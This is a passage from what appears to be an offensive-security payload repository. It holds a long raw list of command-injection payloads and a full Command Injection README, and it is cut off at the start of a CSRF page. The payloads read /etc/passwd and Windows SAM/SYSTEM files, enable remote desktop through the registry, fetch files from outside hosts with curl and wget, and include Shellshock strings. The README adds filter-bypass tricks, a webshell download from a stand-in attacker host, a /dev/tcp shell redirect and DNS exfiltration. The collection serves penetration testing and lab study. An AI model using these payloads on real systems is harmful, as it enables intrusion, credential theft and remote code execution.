+ ; reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
291
+ & reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
292
+ && reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
293
+ reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
294
+ \r\n
295
+ route
296
+ | sleep 1
297
+ ; sleep 1
298
+ & sleep 1
299
+ && sleep 1
300
+ sleep 1
301
+ || sleep 10
302
+ | sleep 10
303
+ ; sleep 10
304
+ {${sleep(10)}}
305
+ & sleep 10
306
+ && sleep 10
307
+ sleep 10
308
+ || sleep 15
309
+ | sleep 15
310
+ ; sleep 15
311
+ & sleep 15
312
+ && sleep 15
313
+ {${sleep(20)}}
314
+ {${sleep(20)}}
315
+ {${sleep(3)}}
316
+ {${sleep(3)}}
317
+ | sleep 5
318
+ ; sleep 5
319
+ & sleep 5
320
+ && sleep 5
321
+ sleep 5
322
+ {${sleep(hexdec(dechex(20)))}}
323
+ {${sleep(hexdec(dechex(20)))}}
324
+ sysinfo
325
+ | sysinfo
326
+ ; sysinfo
327
+ & sysinfo
328
+ && sysinfo
329
+ ;system('cat%20/etc/passwd')
330
+ system('cat C:\boot.ini');
331
+ system('cat config.php');
332
+ system('cat /etc/passwd');
333
+ || system('curl https://crowdshield.com/.testing/rce_vuln.txt');
334
+ | system('curl https://crowdshield.com/.testing/rce_vuln.txt');
335
+ ; system('curl https://crowdshield.com/.testing/rce_vuln.txt');
336
+ & system('curl https://crowdshield.com/.testing/rce_vuln.txt');
337
+ && system('curl https://crowdshield.com/.testing/rce_vuln.txt');
338
+ system('curl https://crowdshield.com/.testing/rce_vuln.txt')
339
+ system('curl https://crowdshield.com/.testing/rce_vuln.txt?req=22fd2wdf')
340
+ system('curl https://xerosecurity.com/.testing/rce_vuln.txt');
341
+ system('echo XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX')
342
+ systeminfo
343
+ | systeminfo
344
+ ; systeminfo
345
+ & systeminfo
346
+ && systeminfo
347
+ system('ls')
348
+ system('pwd')
349
+ system('pwd');
350
+ || system('sleep 5');
351
+ | system('sleep 5');
352
+ ; system('sleep 5');
353
+ & system('sleep 5');
354
+ && system('sleep 5');
355
+ system('sleep 5')
356
+ system('sleep 5');
357
+ system('wget https://crowdshield.com/.testing/rce_vuln.txt?req=22fd2w23')
358
+ system('wget https://xerosecurity.com/.testing/rce_vuln.txt');
359
+ system('whoami')
360
+ system('whoami');
361
+ test*; ls -lhtR /var/www/
362
+ test* || perl -e 'print "X"x16096'
363
+ test* | perl -e 'print "X"x16096'
364
+ test* & perl -e 'print "X"x16096'
365
+ test* && perl -e 'print "X"x16096'
366
+ test*; perl -e 'print "X"x16096'
367
+ $(`type C:\boot.ini`)
368
+ &&type C:\\boot.ini
369
+ | type C:\Windows\repair\SAM
370
+ ; type C:\Windows\repair\SAM
371
+ & type C:\Windows\repair\SAM
372
+ && type C:\Windows\repair\SAM
373
+ type C:\Windows\repair\SAM
374
+ | type C:\Windows\repair\SYSTEM
375
+ ; type C:\Windows\repair\SYSTEM
376
+ & type C:\Windows\repair\SYSTEM
377
+ && type C:\Windows\repair\SYSTEM
378
+ type C:\Windows\repair\SYSTEM
379
+ | type C:\WINNT\repair\SAM
380
+ ; type C:\WINNT\repair\SAM
381
+ & type C:\WINNT\repair\SAM
382
+ && type C:\WINNT\repair\SAM
383
+ type C:\WINNT\repair\SAM
384
+ type C:\WINNT\repair\SYSTEM
385
+ | type %SYSTEMROOT%\repair\SAM
386
+ ; type %SYSTEMROOT%\repair\SAM
387
+ & type %SYSTEMROOT%\repair\SAM
388
+ && type %SYSTEMROOT%\repair\SAM
389
+ type %SYSTEMROOT%\repair\SAM
390
+ | type %SYSTEMROOT%\repair\SYSTEM
391
+ ; type %SYSTEMROOT%\repair\SYSTEM
392
+ & type %SYSTEMROOT%\repair\SYSTEM
393
+ && type %SYSTEMROOT%\repair\SYSTEM
394
+ type %SYSTEMROOT%\repair\SYSTEM
395
+ uname
396
+ ;uname;
397
+ | uname -a
398
+ ; uname -a
399
+ & uname -a
400
+ && uname -a
401
+ uname -a
402
+ |/usr/bin/id
403
+ ;|/usr/bin/id|
404
+ ;/usr/bin/id|
405
+ $;/usr/bin/id
406
+ () { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://135.23.158.130/.testing/shellshock.txt?vuln=13;curl http://135.23.158.130/.testing/shellshock.txt?vuln=15;\");'
407
+ () { :;}; wget http://135.23.158.130/.testing/shellshock.txt?vuln=11
408
+ | wget http://crowdshield.com/.testing/rce.txt
409
+ & wget http://crowdshield.com/.testing/rce.txt
410
+ ; wget https://crowdshield.com/.testing/rce_vuln.txt
411
+ $(`wget https://crowdshield.com/.testing/rce_vuln.txt`)
412
+ && wget https://crowdshield.com/.testing/rce_vuln.txt
413
+ wget https://crowdshield.com/.testing/rce_vuln.txt
414
+ $(`wget https://crowdshield.com/.testing/rce_vuln.txt?req=22jjffjbn`)
415
+ which curl
416
+ which gcc
417
+ which nc
418
+ which netcat
419
+ which perl
420
+ which python
421
+ which wget
422
+ whoami
423
+ | whoami
424
+ ; whoami
425
+ ' whoami
426
+ ' || whoami
427
+ ' & whoami
428
+ ' && whoami
429
+ '; whoami
430
+ " whoami
431
+ " || whoami
432
+ " | whoami
433
+ " & whoami
434
+ " && whoami
435
+ "; whoami
436
+ $(`whoami`)
437
+ & whoami
438
+ && whoami
439
+ {{ get_user_file("C:\boot.ini") }}
440
+ {{ get_user_file("/etc/hosts") }}
441
+ {{ get_user_file("/etc/passwd") }}
442
+ {{4+4}}
443
+ {{4+8}}
444
+ {{person.secret}}
445
+ {{person.name}}
446
+ {1} + {1}
447
+ {% For c in [1,2,3]%} {{c, c, c}} {% endfor%}
448
+ {{[] .__ Class __.__ base __.__ subclasses __ ()}}
payloads/Command Injection/README.md ADDED
@@ -0,0 +1,460 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # Command Injection
2
+
3
+ > Command injection is a security vulnerability that allows an attacker to execute arbitrary commands inside a vulnerable application.
4
+
5
+
6
+ ## Summary
7
+
8
+ * [Tools](#tools)
9
+ * [Methodology](#methodology)
10
+ * [Basic Commands](#basic-commands)
11
+ * [Chaining Commands](#chaining-commands)
12
+ * [Argument Injection](#argument-injection)
13
+ * [Inside A Command](#inside-a-command)
14
+ * [Filter Bypasses](#filter-bypasses)
15
+ * [Bypass Without Space](#bypass-without-space)
16
+ * [Bypass With A Line Return](#bypass-with-a-line-return)
17
+ * [Bypass With Backslash Newline](#bypass-with-backslash-newline)
18
+ * [Bypass With Tilde Expansion](#bypass-with-tilde-expansion)
19
+ * [Bypass With Brace Expansion](#bypass-with-brace-expansion)
20
+ * [Bypass Characters Filter](#bypass-characters-filter)
21
+ * [Bypass Characters Filter Via Hex Encoding](#bypass-characters-filter-via-hex-encoding)
22
+ * [Bypass With Single Quote](#bypass-with-single-quote)
23
+ * [Bypass With Double Quote](#bypass-with-double-quote)
24
+ * [Bypass With Backticks](#bypass-with-backticks)
25
+ * [Bypass With Backslash And Slash](#bypass-with-backslash-and-slash)
26
+ * [Bypass With $@](#bypass-with-)
27
+ * [Bypass With $()](#bypass-with--1)
28
+ * [Bypass With Variable Expansion](#bypass-with-variable-expansion)
29
+ * [Bypass With Wildcards](#bypass-with-wildcards)
30
+ * [Data Exfiltration](#data-exfiltration)
31
+ * [Time Based Data Exfiltration](#time-based-data-exfiltration)
32
+ * [Dns Based Data Exfiltration](#dns-based-data-exfiltration)
33
+ * [Polyglot Command Injection](#polyglot-command-injection)
34
+ * [Tricks](#tricks)
35
+ * [Backgrounding Long Running Commands](#backgrounding-long-running-commands)
36
+ * [Remove Arguments After The Injection](#remove-arguments-after-the-injection)
37
+ * [Labs](#labs)
38
+ * [Challenge](#challenge)
39
+ * [References](#references)
40
+
41
+
42
+ ## Tools
43
+
44
+ * [commixproject/commix](https://github.com/commixproject/commix) - Automated All-in-One OS command injection and exploitation tool
45
+ * [projectdiscovery/interactsh](https://github.com/projectdiscovery/interactsh) - An OOB interaction gathering server and client library
46
+
47
+
48
+ ## Methodology
49
+
50
+ Command injection, also known as shell injection, is a type of attack in which the attacker can execute arbitrary commands on the host operating system via a vulnerable application. This vulnerability can exist when an application passes unsafe user-supplied data (forms, cookies, HTTP headers, etc.) to a system shell. In this context, the system shell is a command-line interface that processes commands to be executed, typically on a Unix or Linux system.
51
+
52
+ The danger of command injection is that it can allow an attacker to execute any command on the system, potentially leading to full system compromise.
53
+
54
+ **Example of Command Injection with PHP**:
55
+ Suppose you have a PHP script that takes a user input to ping a specified IP address or domain:
56
+
57
+ ```php
58
+ <?php
59
+ $ip = $_GET['ip'];
60
+ system("ping -c 4 " . $ip);
61
+ ?>
62
+ ```
63
+
64
+ In the above code, the PHP script uses the `system()` function to execute the `ping` command with the IP address or domain provided by the user through the `ip` GET parameter.
65
+
66
+ If an attacker provides input like `8.8.8.8; cat /etc/passwd`, the actual command that gets executed would be: `ping -c 4 8.8.8.8; cat /etc/passwd`.
67
+
68
+ This means the system would first `ping 8.8.8.8` and then execute the `cat /etc/passwd` command, which would display the contents of the `/etc/passwd` file, potentially revealing sensitive information.
69
+
70
+
71
+ ### Basic Commands
72
+
73
+ Execute the command and voila :p
74
+
75
+ ```powershell
76
+ cat /etc/passwd
77
+ root:x:0:0:root:/root:/bin/bash
78
+ daemon:x:1:1:daemon:/usr/sbin:/bin/sh
79
+ bin:x:2:2:bin:/bin:/bin/sh
80
+ sys:x:3:3:sys:/dev:/bin/sh
81
+ ...
82
+ ```
83
+
84
+
85
+ ### Chaining Commands
86
+
87
+ In many command-line interfaces, especially Unix-like systems, there are several characters that can be used to chain or manipulate commands.
88
+
89
+
90
+ * `;` (Semicolon): Allows you to execute multiple commands sequentially.
91
+ * `&&` (AND): Execute the second command only if the first command succeeds (returns a zero exit status).
92
+ * `||` (OR): Execute the second command only if the first command fails (returns a non-zero exit status).
93
+ * `&` (Background): Execute the command in the background, allowing the user to continue using the shell.
94
+ * `|` (Pipe): Takes the output of the first command and uses it as the input for the second command.
95
+
96
+ ```powershell
97
+ command1; command2 # Execute command1 and then command2
98
+ command1 && command2 # Execute command2 only if command1 succeeds
99
+ command1 || command2 # Execute command2 only if command1 fails
100
+ command1 & command2 # Execute command1 in the background
101
+ command1 | command2 # Pipe the output of command1 into command2
102
+ ```
103
+
104
+
105
+ ### Argument Injection
106
+
107
+ Gain a command execution when you can only append arguments to an existing command.
108
+ Use this website [Argument Injection Vectors - Sonar](https://sonarsource.github.io/argument-injection-vectors/) to find the argument to inject to gain command execution.
109
+
110
+ * Chrome
111
+ ```ps1
112
+ chrome '--gpu-launcher="id>/tmp/foo"'
113
+ ```
114
+
115
+ * SSH
116
+ ```ps1
117
+ ssh '-oProxyCommand="touch /tmp/foo"' foo@foo
118
+ ```
119
+
120
+ * psql
121
+ ```ps1
122
+ psql -o'|id>/tmp/foo'
123
+ ```
124
+
125
+ Argument injection can be abused using the [worstfit](https://blog.orange.tw/posts/2025-01-worstfit-unveiling-hidden-transformers-in-windows-ansi/) technique.
126
+
127
+ In the following example, the payload `" --use-askpass=calc "` is using **fullwidth double quotes** (U+FF02) instead of the **regular double quotes** (U+0022)
128
+
129
+ ```php
130
+ $url = "https://example.tld/" . $_GET['path'] . ".txt";
131
+ system("wget.exe -q " . escapeshellarg($url));
132
+ ```
133
+
134
+ Sometimes, direct command execution from the injection might not be possible, but you may be able to redirect the flow into a specific file, enabling you to deploy a web shell.
135
+
136
+ * curl
137
+ ```ps1
138
+ # -o, --output <file> Write to file instead of stdout
139
+ curl http://evil.attacker.com/ -o webshell.php
140
+ ```
141
+
142
+
143
+ ### Inside A Command
144
+
145
+ * Command injection using backticks.
146
+ ```bash
147
+ original_cmd_by_server `cat /etc/passwd`
148
+ ```
149
+ * Command injection using substitution
150
+ ```bash
151
+ original_cmd_by_server $(cat /etc/passwd)
152
+ ```
153
+
154
+
155
+ ## Filter Bypasses
156
+
157
+ ### Bypass Without Space
158
+
159
+ * `$IFS` is a special shell variable called the Internal Field Separator. By default, in many shells, it contains whitespace characters (space, tab, newline). When used in a command, the shell will interpret `$IFS` as a space. `$IFS` does not directly work as a separator in commands like `ls`, `wget`; use `${IFS}` instead.
160
+ ```powershell
161
+ cat${IFS}/etc/passwd
162
+ ls${IFS}-la
163
+ ```
164
+ * In some shells, brace expansion generates arbitrary strings. When executed, the shell will treat the items inside the braces as separate commands or arguments.
165
+ ```powershell
166
+ {cat,/etc/passwd}
167
+ ```
168
+ * Input redirection. The < character tells the shell to read the contents of the file specified.
169
+ ```powershell
170
+ cat</etc/passwd
171
+ sh</dev/tcp/127.0.0.1/4242
172
+ ```
173
+ * ANSI-C Quoting
174
+ ```powershell
175
+ X=$'uname\x20-a'&&$X
176
+ ```
177
+ * The tab character can sometimes be used as an alternative to spaces. In ASCII, the tab character is represented by the hexadecimal value `09`.
178
+ ```powershell
179
+ ;ls%09-al%09/home
180
+ ```
181
+ * In Windows, `%VARIABLE:~start,length%` is a syntax used for substring operations on environment variables.
182
+ ```powershell
183
+ ping%CommonProgramFiles:~10,-18%127.0.0.1
184
+ ping%PROGRAMFILES:~10,-5%127.0.0.1
185
+ ```
186
+
187
+
188
+ ### Bypass With A Line Return
189
+
190
+ Commands can also be run in sequence with newlines
191
+
192
+ ```bash
193
+ original_cmd_by_server
194
+ ls
195
+ ```
196
+
197
+
198
+ ### Bypass With Backslash Newline
199
+
200
+ * Commands can be broken into parts by using backslash followed by a newline
201
+ ```powershell
202
+ $ cat /et\
203
+ c/pa\
204
+ sswd
205
+ ```
206
+ * URL encoded form would look like this:
207
+ ```powershell
208
+ cat%20/et%5C%0Ac/pa%5C%0Asswd
209
+ ```
210
+
211
+
212
+ ### Bypass With Tilde Expansion
213
+
214
+ ```powershell
215
+ echo ~+
216
+ echo ~-
217
+ ```
218
+
219
+ ### Bypass With Brace Expansion
220
+
221
+ ```powershell
222
+ {,ip,a}
223
+ {,ifconfig}
224
+ {,ifconfig,eth0}
225
+ {l,-lh}s
226
+ {,echo,#test}
227
+ {,$"whoami",}
228
+ {,/?s?/?i?/c?t,/e??/p??s??,}
229
+ ```
230
+
231
+
232
+ ### Bypass Characters Filter
233
+
234
+ Commands execution without backslash and slash - linux bash
235
+
236
+ ```powershell
237
+ swissky@crashlab:~$ echo ${HOME:0:1}
238
+ /
239
+
240
+ swissky@crashlab:~$ cat ${HOME:0:1}etc${HOME:0:1}passwd
241
+ root:x:0:0:root:/root:/bin/bash
242
+
243
+ swissky@crashlab:~$ echo . | tr '!-0' '"-1'
244
+ /
245
+
246
+ swissky@crashlab:~$ tr '!-0' '"-1' <<< .
247
+ /
248
+
249
+ swissky@crashlab:~$ cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
250
+ root:x:0:0:root:/root:/bin/bash
251
+ ```
252
+
253
+ ### Bypass Characters Filter Via Hex Encoding
254
+
255
+ ```powershell
256
+ swissky@crashlab:~$ echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"
257
+ /etc/passwd
258
+
259
+ swissky@crashlab:~$ cat `echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"`
260
+ root:x:0:0:root:/root:/bin/bash
261
+
262
+ swissky@crashlab:~$ abc=$'\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64';cat $abc
263
+ root:x:0:0:root:/root:/bin/bash
264
+
265
+ swissky@crashlab:~$ `echo $'cat\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64'`
266
+ root:x:0:0:root:/root:/bin/bash
267
+
268
+ swissky@crashlab:~$ xxd -r -p <<< 2f6574632f706173737764
269
+ /etc/passwd
270
+
271
+ swissky@crashlab:~$ cat `xxd -r -p <<< 2f6574632f706173737764`
272
+ root:x:0:0:root:/root:/bin/bash
273
+
274
+ swissky@crashlab:~$ xxd -r -ps <(echo 2f6574632f706173737764)
275
+ /etc/passwd
276
+
277
+ swissky@crashlab:~$ cat `xxd -r -ps <(echo 2f6574632f706173737764)`
278
+ root:x:0:0:root:/root:/bin/bash
279
+ ```
280
+
281
+ ### Bypass With Single Quote
282
+
283
+ ```powershell
284
+ w'h'o'am'i
285
+ wh''oami
286
+ 'w'hoami
287
+ ```
288
+
289
+ ### Bypass With Double Quote
290
+
291
+ ```powershell
292
+ w"h"o"am"i
293
+ wh""oami
294
+ "wh"oami
295
+ ```
296
+
297
+ ### Bypass With Backticks
298
+
299
+ ```powershell
300
+ wh``oami
301
+ ```
302
+
303
+ ### Bypass With Backslash and Slash
304
+
305
+ ```powershell
306
+ w\ho\am\i
307
+ /\b\i\n/////s\h
308
+ ```
309
+
310
+ ### Bypass With $@
311
+
312
+ `$0`: Refers to the name of the script if it's being run as a script. If you're in an interactive shell session, `$0` will typically give the name of the shell.
313
+
314
+ ```powershell
315
+ who$@ami
316
+ echo whoami|$0
317
+ ```
318
+
319
+
320
+ ### Bypass With $()
321
+
322
+ ```powershell
323
+ who$()ami
324
+ who$(echo am)i
325
+ who`echo am`i
326
+ ```
327
+
328
+ ### Bypass With Variable Expansion
329
+
330
+ ```powershell
331
+ /???/??t /???/p??s??
332
+
333
+ test=/ehhh/hmtc/pahhh/hmsswd
334
+ cat ${test//hhh\/hm/}
335
+ cat ${test//hh??hm/}
336
+ ```
337
+
338
+ ### Bypass With Wildcards
339
+
340
+ ```powershell
341
+ powershell C:\*\*2\n??e*d.*? # notepad
342
+ @^p^o^w^e^r^shell c:\*\*32\c*?c.e?e # calc
343
+ ```
344
+
345
+
346
+ ## Data Exfiltration
347
+
348
+ ### Time Based Data Exfiltration
349
+
350
+ Extracting data char by char and detect the correct value based on the delay.
351
+
352
+ * Correct value: wait 5 seconds
353
+ ```powershell
354
+ swissky@crashlab:~$ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
355
+ real 0m5.007s
356
+ user 0m0.000s
357
+ sys 0m0.000s
358
+ ```
359
+
360
+ * Incorrect value: no delay
361
+ ```powershell
362
+ swissky@crashlab:~$ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
363
+ real 0m0.002s
364
+ user 0m0.000s
365
+ sys 0m0.000s
366
+ ```
367
+
368
+
369
+ ### Dns Based Data Exfiltration
370
+
371
+ Based on the tool from [HoLyVieR/dnsbin](https://github.com/HoLyVieR/dnsbin), also hosted at [dnsbin.zhack.ca](http://dnsbin.zhack.ca/)
372
+
373
+ 1. Go to http://dnsbin.zhack.ca/
374
+ 2. Execute a simple 'ls'
375
+ ```powershell
376
+ for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
377
+ ```
378
+
379
+ Online tools to check for DNS based data exfiltration:
380
+
381
+ - http://dnsbin.zhack.ca/
382
+ - https://app.interactsh.com/
383
+ - Burp Collaborator
384
+
385
+
386
+ ## Polyglot Command Injection
387
+
388
+ A polyglot is a piece of code that is valid and executable in multiple programming languages or environments simultaneously. When we talk about "polyglot command injection," we're referring to an injection payload that can be executed in multiple contexts or environments.
389
+
390
+ * Example 1:
391
+ ```powershell
392
+ Payload: 1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
393
+
394
+ # Context inside commands with single and double quote:
395
+ echo 1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
396
+ echo '1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
397
+ echo "1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
398
+ ```
399
+ * Example 2:
400
+ ```powershell
401
+ Payload: /*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
402
+
403
+ # Context inside commands with single and double quote:
404
+ echo 1/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
405
+ echo "YOURCMD/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/"
406
+ echo 'YOURCMD/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/'
407
+ ```
408
+
409
+
410
+ ## Tricks
411
+
412
+ ### Backgrounding Long Running Commands
413
+
414
+ In some instances, you might have a long running command that gets killed by the process injecting it timing out.
415
+ Using `nohup`, you can keep the process running after the parent process exits.
416
+
417
+ ```bash
418
+ nohup sleep 120 > /dev/null &
419
+ ```
420
+
421
+ ### Remove Arguments After The Injection
422
+
423
+ In Unix-like command-line interfaces, the `--` symbol is used to signify the end of command options. After `--`, all arguments are treated as filenames and arguments, and not as options.
424
+
425
+
426
+ ## Labs
427
+
428
+ * [PortSwigger - OS command injection, simple case](https://portswigger.net/web-security/os-command-injection/lab-simple)
429
+ * [PortSwigger - Blind OS command injection with time delays](https://portswigger.net/web-security/os-command-injection/lab-blind-time-delays)
430
+ * [PortSwigger - Blind OS command injection with output redirection](https://portswigger.net/web-security/os-command-injection/lab-blind-output-redirection)
431
+ * [PortSwigger - Blind OS command injection with out-of-band interaction](https://portswigger.net/web-security/os-command-injection/lab-blind-out-of-band)
432
+ * [PortSwigger - Blind OS command injection with out-of-band data exfiltration](https://portswigger.net/web-security/os-command-injection/lab-blind-out-of-band-data-exfiltration)
433
+ * [Root Me - PHP - Command injection](https://www.root-me.org/en/Challenges/Web-Server/PHP-Command-injection)
434
+ * [Root Me - Command injection - Filter bypass](https://www.root-me.org/en/Challenges/Web-Server/Command-injection-Filter-bypass)
435
+ * [Root Me - PHP - assert()](https://www.root-me.org/en/Challenges/Web-Server/PHP-assert)
436
+ * [Root Me - PHP - preg_replace()](https://www.root-me.org/en/Challenges/Web-Server/PHP-preg_replace)
437
+
438
+ ### Challenge
439
+
440
+ Challenge based on the previous tricks, what does the following command do:
441
+
442
+ ```powershell
443
+ g="/e"\h"hh"/hm"t"c/\i"sh"hh/hmsu\e;tac$@<${g//hh??hm/}
444
+ ```
445
+
446
+ **NOTE**: The command is safe to run, but you should not trust me.
447
+
448
+
449
+ ## References
450
+
451
+ - [Argument Injection and Getting Past Shellwords.escape - Etienne Stalmans - November 24, 2019](https://staaldraad.github.io/post/2019-11-24-argument-injection/)
452
+ - [Argument Injection Vectors - SonarSource - February 21, 2023](https://sonarsource.github.io/argument-injection-vectors/)
453
+ - [Back to the Future: Unix Wildcards Gone Wild - Leon Juranic - June 25, 2014](https://www.exploit-db.com/papers/33930)
454
+ - [Bash Obfuscation by String Manipulation - Malwrologist, @DissectMalware - August 4, 2018](https://twitter.com/DissectMalware/status/1025604382644232192)
455
+ - [Bug Bounty Survey - Windows RCE Spaceless - Bug Bounties Survey - May 4, 2017](https://web.archive.org/web/20180808181450/https://twitter.com/bugbsurveys/status/860102244171227136)
456
+ - [No PHP, No Spaces, No $, No {}, Bash Only - Sven Morgenroth - August 9, 2017](https://twitter.com/asdizzle_/status/895244943526170628)
457
+ - [OS Command Injection - PortSwigger - 2024](https://portswigger.net/web-security/os-command-injection)
458
+ - [SECURITY CAFÉ - Exploiting Timed-Based RCE - Pobereznicenco Dan - February 28, 2017](https://securitycafe.ro/2017/02/28/time-based-data-exfiltration/)
459
+ - [TL;DR: How to Exploit/Bypass/Use PHP escapeshellarg/escapeshellcmd Functions - kacperszurek - April 25, 2018](https://github.com/kacperszurek/exploits/blob/master/GitList/exploit-bypass-php-escapeshellarg-escapeshellcmd.md)
460
+ - [WorstFit: Unveiling Hidden Transformers in Windows ANSI! - Orange Tsai - January 10, 2025](https://blog.orange.tw/posts/2025-01-worstfit-unveiling-hidden-transformers-in-windows-ansi/)
payloads/Cross-Site Request Forgery/Images/CSRF-CheatSheet.png ADDED
payloads/Cross-Site Request Forgery/README.md ADDED
@@ -0,0 +1,174 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # Cross-Site Request Forgery
2
